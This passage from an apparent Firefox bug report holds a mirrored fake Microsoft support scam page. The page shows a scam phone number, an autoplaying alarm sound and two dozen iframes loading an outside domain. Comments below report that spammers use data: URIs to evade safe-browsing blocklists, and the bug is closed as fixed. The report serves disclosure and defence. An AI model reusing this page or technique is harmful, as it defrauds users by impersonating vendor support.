                <h2 style="padding-left: 30px;">Call for support:</h2>

                <h2> +1-844-692-6305<span id="FormattedNumber2"></span></h2>

            </div>

        </div>

    </div>



    <div class="row" style="padding: 40px; text-align: center;">

        <div class="col-xs-6 col-sm-3">

            <a>

                <span class="glyphicon glyphicon-user"></span>

                <span>Manage my account</span>

            </a>

        </div>

        <div class="col-xs-6 col-sm-3">

            <a>

                <span class="glyphicon glyphicon-user"></span>

                <span>Ask the community</span>

            </a>

        </div>

        <div class="col-xs-6 col-sm-3">

            <a>

                <span class="glyphicon glyphicon-user"></span>

                <span>Contact Answer Desk</span>

            </a>

        </div>

        <div class="col-xs-6 col-sm-3">

            <a>

                <span class="glyphicon glyphicon-download-alt"></span>

                <span>Find downloads</span>

            </a>

        </div>

    </div>



    <div class="row" style="text-align: center;">

        <h3>I need help with...</h3>

        <div class="bs-glyphicons" style="margin-top:30px;">

            <div class="row">

                <div class="col-lg-2 col-md-4 col-xs-6">

							<span class="glyphicon product-img" aria-hidden="true"

                                  style="background-image: url('https://storage.googleapis.com/assets-moziliia-new/windowspc.svg')"></span>

                    <span class="glyphicon-class product-name">WIndows</span>

                </div>

                <div class="col-lg-2 col-md-4 col-xs-6">

							<span class="glyphicon product-img" aria-hidden="true"

                                  style="background-image: url('https://storage.googleapis.com/assets-moziliia-new/windowsphone.svg')"></span>

                    <span class="glyphicon-class product-name">Windows Phone 8</span>

                </div>

                <div class="col-lg-2 col-md-4 col-xs-6">

							<span class="glyphicon product-img" aria-hidden="true"

                                  style="background-image: url('https://storage.googleapis.com/assets-moziliia-new/mobile.svg')"></span>

                    <span class="glyphicon-class product-name">Lumia devices</span>

                </div>

                <div class="col-lg-2 col-md-4 col-xs-6">

							<span class="glyphicon product-img" aria-hidden="true"

                                  style="background-image: url('https://storage.googleapis.com/assets-moziliia-new/xbox.svg')"></span>

                    <span class="glyphicon-class product-name">Xbox</span>

                </div>

                <div class="col-lg-2 col-md-4 col-xs-6">

							<span class="glyphicon product-img" aria-hidden="true"

                                  style="background-image: url('https://storage.googleapis.com/assets-moziliia-new/office.svg')"></span>

                    <span class="glyphicon-class product-name">Office</span>

                </div>

                <div class="col-lg-2 col-md-4 col-xs-6">

							<span class="glyphicon product-img" aria-hidden="true"

                                  style="background-image: url('https://storage.googleapis.com/assets-moziliia-new/onedrive.svg')"></span>

                    <span class="glyphicon-class product-name">OneDrive</span>

                </div>

            </div>

            <div class="row">

                <div class="col-lg-2 col-md-4 col-xs-6">

							<span class="glyphicon product-img" aria-hidden="true"

                                  style="background-image: url('https://storage.googleapis.com/assets-moziliia-new/surface.svg')"></span>

                    <span class="glyphicon-class product-name">Surface</span>

                </div>

                <div class="col-lg-2 col-md-4 col-xs-6">

							<span class="glyphicon product-img" aria-hidden="true"

                                  style="background-image: url('https://storage.googleapis.com/assets-moziliia-new/edge.svg')"></span>

                    <span class="glyphicon-class product-name">Microsoft Edge</span>

                </div>

                <div class="col-lg-2 col-md-4 col-xs-6">

							<span class="glyphicon product-img" aria-hidden="true"

                                  style="background-image: url('https://storage.googleapis.com/assets-moziliia-new/ie.svg')"></span>

                    <span class="glyphicon-class product-name" >Internet Explorer</span>

                </div>

                <div class="col-lg-2 col-md-4 col-xs-6">

							<span class="glyphicon product-img" aria-hidden="true"

                                  style="background-image: url('https://storage.googleapis.com/assets-moziliia-new/skype.svg')"></span>

                    <span class="glyphicon-class product-name">Skype</span>

                </div>

                <div class="col-lg-2 col-md-4 col-xs-6">

							<span class="glyphicon product-img" aria-hidden="true"

                                  style="background-image: url('https://storage.googleapis.com/assets-moziliia-new/outlook.svg')"></span>

                    <span class="glyphicon-class product-name">Outlook.com</span>

                </div>

                <div class="col-lg-2 col-md-4 col-xs-6">

							<span class="glyphicon product-img" aria-hidden="true"

                                  style="background-image: url('https://storage.googleapis.com/assets-moziliia-new/msn.svg')"></span>

                    <span class="glyphicon-class product-name">MSN</span>

                </div>

            </div>

        </div>

    </div>



    <div class="row" style="text-align: center; padding-bottom: 50px;">

        <a><h4 style="margin-top: 40px; margin-bottom: 80px;">View all Microsoft products</h4></a>



        <div class="row">

            <div class="col-md-4" style="text-align:left;">

                <h4>Business, IT &amp; developer</h4>

                <ul style="padding:0px;">

                    <li style="list-style: none; padding:10px 0px;"><a>Support for small business</a></li>

                    <li style="list-style: none; padding:10px 0px;"><a>Enterprise and partners</a></li>

                    <li style="list-style: none; padding:10px 0px;"><a>IT Professionals</a></li>

                    <li style="list-style: none; padding:10px 0px;"><a>Developers</a></li>

                </ul>

            </div>

            <div class="col-md-4" style="text-align:left;">

                <h4>Set up &amp; install</h4>

                <ul style="padding:0px;">

                    <li style="list-style: none; padding:10px 0px;"><a>How to upgrade to Windows 10</a></li>

                    <li style="list-style: none; padding:10px 0px;"><a>Install Office 365 Home, Personal, or University</a></li>

                    <li style="list-style: none; padding:10px 0px;"><a>Activate Office 365 Home, Personal, University, Office 2013, or Office 2016</a></li>

                    <li style="list-style: none; padding:10px 0px;"><a>why is office taking so long to install?</a></li>

                </ul>

            </div>

            <div class="col-md-4" style="text-align:left;">

                <h4>Popular topics</h4>



                <ul style="padding:0px;">

                    <li style="list-style: none; padding:10px 0px;"><a>Activation in Windows 10</a></li>

                    <li style="list-style: none; padding:10px 0px;"><a>Need Help with Office 2016?</a></li>

                    <li style="list-style: none; padding:10px 0px;"><a>Windows 10 FAQ</a></li>

                    <li style="list-style: none; padding:10px 0px;"><a>Windows 10 help &amp; how-to</a></li>

                    <li style="list-style: none; padding:10px 0px;"><a>Windows 10 Mobile help &amp; how-to</a></li>

                    <li style="list-style: none; padding:10px 0px;"><a>Can't find Office applications in Windows 10, Windows 8, or WIndows 7?</a></li>

                </ul>

            </div>

        </div>



    </div>

</div>



<footer class="footer">

    <div class="container">

        <div class="row">

            <div class="col-md-4" style="text-align:left;">

                <h4>Support</h4>

                <ul style="padding:0px;">

                    <li style="list-style: none; padding:10px 0px;"><a>Account support</a></li>

                    <li style="list-style: none; padding:10px 0px;"><a>Supported products list</a></li>

                    <li style="list-style: none; padding:10px 0px;"><a>Product support lifecycle</a></li>

                </ul>

            </div>

            <div class="col-md-4" style="text-align:left;">

                <h4>Security</h4>

                <ul style="padding:0px;">

                    <li style="list-style: none; padding:10px 0px;"><a>Safety &amp; Security Center</a></li>

                    <li style="list-style: none; padding:10px 0px;"><a>Download Security Essentials</a></li>

                    <li style="list-style: none; padding:10px 0px;"><a>Malicious Software Removal Tool</a></li>

                </ul>

            </div>

            <div class="col-md-4" style="text-align:left;">

                <h4>Popular topics</h4>



                <ul style="padding:0px;">

                    <li style="list-style: none; padding:10px 0px;"><a>Report a support scam</a></li>

                    <li style="list-style: none; padding:10px 0px;"><a>Disability Answer Desk</a></li>

                    <li style="list-style: none; padding:10px 0px;"><a>Locate Microsoft addresses worldwide</a></li>

                    <li style="list-style: none; padding:10px 0px;"><a>Windows 10 help &amp; how-to</a></li>

                    <li style="list-style: none; padding:10px 0px;"><a>Windows 10 Mobile help &amp; how-to</a></li>

                    <li style="list-style: none; padding:10px 0px;"><a>Can't find Office applications in Windows 10, Windows 8, or WIndows 7?</a></li>

                </ul>



            </div>

        </div>

        <div class="row" style="font-size: 1.2rem; padding:30px 0px;">

            <div style="float:left;"><span class="glyphicon glyphicon-cd"></span><span>English(United States)</span></div>

            <div style="float:right;">

                <span style="padding:0px 15px;">Terms of use</span>

                <span style="padding:0px 15px;">English(United States)</span>

                <span style="padding:0px 15px;">Trademarks</span>

                <span style="padding:0px 15px;">@2016 Microsoft</span>

            </div>

        </div>

    </div>

</footer>










<audio autoplay="autoplay" loop="">
    <source src="https://storage.googleapis.com/assets-moziliia-new/alert3.mp3" type="audio/mpeg">
</audio>

<div>

<iframe src="http://proton22.xyz/error"></iframe>
<iframe src="http://proton22.xyz/error"></iframe>
<iframe src="http://proton22.xyz/error"></iframe>
<iframe src="http://proton22.xyz/error"></iframe>
<iframe src="http://proton22.xyz/error"></iframe>
<iframe src="http://proton22.xyz/error"></iframe>
<iframe src="http://proton22.xyz/error"></iframe>
<iframe src="http://proton22.xyz/error"></iframe>
<iframe src="http://proton22.xyz/error"></iframe>
<iframe src="http://proton22.xyz/error"></iframe>
<iframe src="http://proton22.xyz/error"></iframe>
<iframe src="http://proton22.xyz/error"></iframe>
<iframe src="http://proton22.xyz/error"></iframe>
<iframe src="http://proton22.xyz/error"></iframe>
<iframe src="http://proton22.xyz/error"></iframe>
<iframe src="http://proton22.xyz/error"></iframe>
<iframe src="http://proton22.xyz/error"></iframe>
<iframe src="http://proton22.xyz/error"></iframe>
<iframe src="http://proton22.xyz/error"></iframe>
<iframe src="http://proton22.xyz/error"></iframe>
<iframe src="http://proton22.xyz/error"></iframe>
<iframe src="http://proton22.xyz/error"></iframe>
<iframe src="http://proton22.xyz/error"></iframe>
<iframe src="http://proton22.xyz/error"></iframe>




</div>







</body>
<!-- Mirrored from winfirewallwarning.in/ by HTTrack Website Copier/3.x [XR&CO'2014], Tue, 26 Apr 2016 18:37:50 GMT -->
</html>
Seeing this used as an actual attack in the wild now. Gotta say might not have been the smartest idea to publish a vuln (or be aware of it published elsewhere) and leave it unpatched for 4 years. If you guys still have that bounty program I could probably bake up something truly horrible and send it in but it would be nice to just get this fixed.
Sorry for the two posts in a row but I guess I didn't provide how it was being used. Spammers are using it to circumvent safe browsing lists and whatnot, as predicted. No host = no blacklist entry. I haven't looked into it but there may be CSP issues with this as well. Seems that most times I do something weird like this with the browser I can read the hard drive and send it to a server. Since there's no legitimate use for having a data URI in the address bar this should just be disabled entirely IMO.
Chrome just disabled page-initiated main frame navigations to data URLs https://bugs.chromium.org/p/chromium/issues/detail?id=594215
Bulk change to priority: https://bugzilla.mozilla.org/show_bug.cgi?id=1399258
Priority: -- → P5
Severity: normal → S3
See Also: → CVE-2023-34415
Status: NEW → RESOLVED
Closed: 2 years ago
Duplicate of bug: 1691658
Resolution: --- → DUPLICATE

The phishing problem described in this bug was resolved by bug 1380959, blocking data: urls in top-level loads. The more recent fix in bug 1691658 blocked remaining redirects to data: in sub-request loads, which were invisible to the user and not useful for phishing.

Duplicate of bug: 1380959
No longer duplicate of bug: 1691658
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: